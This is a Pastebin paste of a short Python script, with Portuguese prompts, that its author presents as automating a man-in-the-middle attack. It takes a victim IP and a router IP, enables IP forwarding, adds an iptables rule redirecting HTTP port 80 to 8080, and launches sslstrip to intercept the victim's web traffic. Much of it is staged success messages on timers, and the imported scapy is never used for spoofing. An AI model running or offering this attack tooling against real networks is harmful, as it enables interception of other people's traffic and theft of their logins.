Advertisement
Guest User

ManInTheMautic

a guest
Feb 23rd, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. #-*-coding: UTF-8 -*-
  2. #-*- coding: ascii -*-
  3. #Escrito por Derick Santos
  4.  
  5. import os
  6. import sys
  7. import time
  8. from scapy.all import *
  9. import socket as socket
  10.  
  11. print("Script para automatização de ataque Man-in-the-middle")
  12. os.system("clear")
  13. try:
  14. rede = str(raw_input("Digite sua interface de rede: "))
  15. ip = str(raw_input("Digite o IP da vitima: "))
  16. route = str(raw_input("Digite o endereco de IP do roteador: "))
  17. msg = ("\nConected as ->"+route)
  18.  
  19. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20. s.connect((ip, 8080))
  21. payload = (msg)
  22. s.send(payload.encode('ascii'))
  23. except:
  24. print("\n...")
  25.  
  26. try:
  27. time.sleep(5)
  28. print("Conexao realizada com sucesso!")
  29. print("...")
  30. time.sleep(2)
  31. print("Realizando IP Forwarding...!")
  32. time.sleep(4)
  33. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  34. print("IP Forwarding realizado com sucesso!\n")
  35. time.sleep(2)
  36. print("Configurando redirecionamento de portas...")
  37. time.sleep(4)
  38. os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080")
  39. print("Direcionamento de portas... 80 -> 8080, realizado com sucesso!")
  40. except:
  41. print("\nErro nao foi possivel executar o ataque!")
  42.  
  43. try:
  44. print("\n...")
  45. time.sleep(2)
  46. print("Definindo porta em escuta e acessando trafego HTTP...")
  47. time.sleep(7)
  48. print("...")
  49. os.system("sslstrip -a -l 8080")
  50. except:
  51. print("[*] Erro! É necessário o sslstrip em seu computador!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement